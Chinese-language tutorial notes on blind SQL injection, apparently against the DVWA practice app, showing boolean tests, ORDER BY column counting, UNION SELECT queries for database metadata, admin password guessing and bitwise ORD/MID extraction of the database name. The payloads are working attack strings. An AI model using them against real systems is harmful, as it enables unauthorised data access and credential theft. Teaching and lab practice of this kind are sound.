SQL盲注
SQL盲注:不显示数据库内建的报错信息【内建的报错信息帮助开发人员发现和修复问题】,但由于报错信息中提供了关于系统的大量有用信息。当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果,即为盲注。
思路:既然无法基于报错信息判断结果,那就基于逻辑真假的不同结果来判断
SQL注入判断
基本的布尔值判断
1 | 1' and 1=1 -- // True 有回显 或 显示正常 |
当布尔值为真,有显示内容,布尔值为假,无回显
基于这样判断,很可能存在SQL注入漏洞
推测select字段数
1 | 1' order by 2 -- // 判断select语句中的列字段个数 |
当order by 后的num 大于select中的字段数,无回显
如上当num值为2时,还有回显,num大于2时,无回显,说明select语句中查询的字段数为2个
因此后续就可以利用union select语句查询想要的信息
查询数据库
1 | 1' union select null, CONCAT_WS(CHAR(32,58,32), user(), database(), version()) -- // 查询mysql用户,数据库名,数据库版本 |
1 | 1' union select null, table_name from information_schema.tables -- // 查询元数据库中的所有表名 |
1 | 1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' # // 查询是否有users这张表 |
猜解数据库
1 | 2' or user='admin |
1 | 2' or user like '%a% |
猜账号密码
1 | 2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99 |
【BurpSuite自动化】
另类猜解
当遇到网页不显示任何从数据库中提取的信息,只有页面风格画面的转换
1 | and 1=1 -- 显示 页面1 |
此时,常见注入工具可能无法发现漏洞
可以尝试构造语句,手工注入或编写脚本
1 | 1' and ORD(MID((version()),1,1))&128>0 -- |
函数:
- ORD() :把函数中的字符转换成ASCII码
- MID(ColumnName, Start [, Length]) :截取字符串
- ORD(string)&128 :将转换的ASCII数值于128(二进制:10000000)进行与运算;
- 如果运算结果大于0,说明第一位数值为1(从左往右)
- 如果运算结果等于0,说明第一位数值为0
- 依次计算(1,2,4,8,16,32,64,128),判断每一位的二进制数值
- 然后将计算到的二进制值转成十进制,反向计算出ASCII值
【注】:键盘可输入的ASCII值只有128位
通过判断有无回显,间接猜出想要的信息
以下以判断数据库名为例
通过以上的回显进行判断,有回显置1
1 | 1' and ORD(MID((database()),1,1))&128>0 -- |
计算出ASCII值为100,即字符 ‘d’
后面字符的猜解,只需修改截取的位置
1 | 1' and ORD(MID((database()),2,1))&128>0 -- |
通过多次猜解,就可以得到数据库名 ‘dvwa’;
1 | 1' and ORD(MID((database()),n,1))&128>0 -- |